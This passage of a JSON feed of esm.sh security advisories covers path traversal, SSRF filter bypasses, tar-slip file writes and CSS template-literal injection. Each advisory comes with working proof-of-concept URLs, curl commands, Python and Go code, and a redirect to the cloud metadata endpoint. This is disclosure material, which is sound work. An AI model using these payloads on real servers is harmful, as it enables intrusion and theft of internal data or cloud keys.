on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/\u003cattacker\u003e/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/\u003cattacker\u003e/exp`.\n\n4. **Path Normalisation \u0026 Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-12T22:22:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465","https://github.com/esm-dev/esm.sh/releases/tag/v137_3","https://nvd.nist.gov/vuln/detail/CVE-2026-44593","https://github.com/advisories/GHSA-3636-h3vx-6465"],"source_kind":"github","identifiers":["GHSA-3636-h3vx-6465","CVE-2026-44593"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-12T12:04:33.314Z","epss_percentage":0.00496,"epss_percentile":0.40581,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNjM2LWgzdngtNjQ2Nc4ABWxn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNjM2LWgzdngtNjQ2Nc4ABWxn","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20260508100112-1960055e1d53","vulnerable_version_range":"\u003c 0.0.0-20260508100112-1960055e1d53"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNjM2LWgzdngtNjQ2Nc4ABWxn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wMnY2LTg0aDItNXg0cs4ABS2N","url":"https://github.com/advisories/GHSA-p2v6-84h2-5x4r","title":"esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route","description":"### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route.  \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n  - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" \u0026\u0026 modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) \u0026\u0026 strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('/secret.js')\ndef secret_js():\n    return Response('secret;\\n', mimetype='application/javascript')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"\u003cYOUR_PATH\u003e/flask-internal:/app\" -w /app \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask \u0026\u0026 python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" /\u003e\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" /\u003e\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-25T22:57:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r","https://nvd.nist.gov/vuln/detail/CVE-2026-27730","https://github.com/esm-dev/esm.sh/pull/1149","https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0","https://github.com/esm-dev/esm.sh/releases/tag/v137","https://github.com/advisories/GHSA-p2v6-84h2-5x4r"],"source_kind":"github","identifiers":["GHSA-p2v6-84h2-5x4r","CVE-2026-27730"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-25T23:00:07.186Z","updated_at":"2026-10-16T06:05:18.059Z","epss_percentage":0.00485,"epss_percentile":0.40217,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wMnY2LTg0aDItNXg0cs4ABS2N","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wMnY2LTg0aDItNXg0cs4ABS2N","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20250616164159-0593516c4cfa","vulnerable_version_range":"\u003c 0.0.0-20250616164159-0593516c4cfa"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wMnY2LTg0aDItNXg0cs4ABS2N/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zYzlyLTgzN3ItcXFtNM4ABS0J","url":"https://github.com/advisories/GHSA-3c9r-837r-qqm4","title":"esm.sh is vulnerable to full-response SSRF","description":"### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/test.md')\ndef redirect_test():\n    return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`\u003cp\u003e\u0026lbrace;\u0026quot;bgp\u0026quot;:\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;\u0026rbrace;,\u0026quot;hostname\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instance-v2-id\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instanceid\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;interfaces\u0026quot;:[\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;gateway\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;netmask\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;routes\u0026quot;:[\u0026lbrace;\u0026quot;netmask\u0026quot;:32,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;\u0026rbrace;]\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;prefix\u0026quot;:\u0026quot;64\u0026quot;\u0026rbrace;,\u0026quot;mac\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network-type\u0026quot;:\u0026quot;public\u0026quot;\u0026rbrace;],\u0026quot;nvidia-driver\u0026quot;:[],\u0026quot;public-keys\u0026quot;:[\u0026quot;****\u0026quot;],\u0026quot;region\u0026quot;:\u0026lbrace;\u0026quot;countrycode\u0026quot;:\u0026quot;US\u0026quot;,\u0026quot;regioncode\u0026quot;:\u0026quot;SJC\u0026quot;\u0026rbrace;,\u0026quot;tags\u0026quot;:[]\u0026rbrace;\u003c/p\u003e\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-25T15:19:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4","https://github.com/esm-dev/esm.sh/pull/1149","https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0","https://github.com/esm-dev/esm.sh/releases/tag/v137","https://nvd.nist.gov/vuln/detail/CVE-2025-50180","https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13","https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511","https://github.com/advisories/GHSA-3c9r-837r-qqm4"],"source_kind":"github","identifiers":["GHSA-3c9r-837r-qqm4","CVE-2025-50180"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-25T16:00:09.145Z","updated_at":"2026-10-16T06:05:22.434Z","epss_percentage":0.00396,"epss_percentile":0.32161,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zYzlyLTgzN3ItcXFtNM4ABS0J","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zYzlyLTgzN3ItcXFtNM4ABS0J","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20250616164159-0593516c4cfa","vulnerable_version_range":"\u003c 0.0.0-20250616164159-0593516c4cfa"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zYzlyLTgzN3ItcXFtNM4ABS0J/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNjU3LTNjOTgtNjNqcc4ABRSF","url":"https://github.com/advisories/GHSA-2657-3c98-63jq","title":"esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages","description":"### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(\u0026buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = 'bar';\")\n\theader := \u0026tar.Header{\n\t\tName:     \"package/index.js\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = \u0026tar.Header{\n\t\tName:     \"/../../../bad/bad.txt\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin`  (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-20T17:21:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq","https://nvd.nist.gov/vuln/detail/CVE-2026-23644","https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16","https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093","https://pkg.go.dev/vuln/GO-2025-4138","https://pkg.go.dev/vuln/GO-2026-4332","https://github.com/advisories/GHSA-2657-3c98-63jq"],"source_kind":"github","identifiers":["GHSA-2657-3c98-63jq","CVE-2026-23644"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-20T17:30:44.395Z","updated_at":"2026-10-16T17:08:12.609Z","epss_percentage":0.0056,"epss_percentile":0.45248,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNjU3LTNjOTgtNjNqcc4ABRSF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNjU3LTNjOTgtNjNqcc4ABRSF","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20260116051925-c62ab83c589e","vulnerable_version_range":"\u003c 0.0.0-20260116051925-c62ab83c589e"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 0.0.1, \u003c= 136"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNjU3LTNjOTgtNjNqcc4ABRSF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oY3BmLXF2OW0tdmZncM4ABOsK","url":"https://github.com/advisories/GHSA-hcpf-qv9m-vfgp","title":"esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript","description":"### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, '`') {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // ← CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: '1.0.0' };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/\u003cpackage\u003e')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/\u003cpackage\u003e/-/\u003cfilename\u003e')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cscript type=\"module\"\u003e\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log('Styles loaded:', styles);\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, 